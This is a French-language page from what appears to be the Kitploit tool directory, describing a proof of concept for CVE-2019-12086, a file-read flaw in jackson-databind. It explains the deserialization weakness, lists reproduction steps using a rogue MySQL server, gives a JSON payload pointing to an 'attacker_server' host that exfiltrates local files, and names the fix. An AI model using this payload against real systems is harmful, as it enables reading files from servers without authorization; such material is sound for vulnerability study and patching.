Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-12086-jackson-databind-file-read | Kitploit
Outils/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'Intrusion
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
121il y a 7 ansPas encore vérifié

jackson-CVE-2019-12086

Description de la vulnérabilité

Lorsque Default Typing est activé et que le classpath contient une version de mysql-connector-java inférieure ou égale à 8.0.15 (publiée le 2019.2.1), un attaquant peut lire des fichiers arbitraires en envoyant des données JSON malveillantes. La bibliothèque mysql-connector-java est le connecteur JDBC MySQL couramment utilisé pour se connecter aux bases de données.

Description CVE :

Un problème de typage polymorphe a été découvert dans FasterXML jackson-databind 2.x avant 2.9.9. Lorsque Default Typing est activé (globalement ou pour une propriété spécifique) pour un endpoint JSON exposé externement, le service a le jar mysql-connector-java (8.0.14 ou antérieur) dans le classpath, et un attaquant peut héberger un serveur MySQL conçu accessible par la victime. Un attaquant peut envoyer un message JSON conçu qui lui permet de lire des fichiers locaux arbitraires sur le serveur. Cela se produit en raison de l'absence de validation de com.mysql.cj.jdbc.admin.MiniAdmin.

Analyse de la vulnérabilité

Détails de la vulnérabilité :

  1. Lorsque Default Typing est activé, Jackson peut désérialiser une classe spécifiée lors de la désérialisation JSON, et peut spécifier une valeur d'un type de base comme valeur du paramètre du constructeur de cette classe.
  2. Le constructeur de com.mysql.cj.jdbc.admin.MiniAdmin accepte une valeur de type chaîne représentant une URL JDBC. Lors de l'initialisation, la classe com.mysql.cj.jdbc.admin.MiniAdmin se connecte à la base de données MySQL spécifiée par cette URL JDBC.
  3. Dans les versions de mysql-connector-java inférieures ou égales à 8.0.15 (publiées le 2019.2.1), un serveur MySQL malveillant peut lire des fichiers locaux arbitraires du client MySQL, ce qui entraîne la vulnérabilité.

Reproduction de la vulnérabilité

  1. Démarrer un serveur MySQL malveillant : https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. Dans le même répertoire, consulter mysql.log :

tail -f mysql.log

  1. Envoyer le JSON suivant à l'application vulnérable :

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. Une fois que Jackson désérialise la chaîne JSON malveillante, il se connecte au serveur MySQL malveillant, et le contenu des fichiers lus est écrit dans le fichier mysql.log du serveur malveillant.
root@kitploit:~
# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

Correctif

Mettre à niveau Jackson vers 2.9.9 ou une version ultérieure.

Télécharger l’outil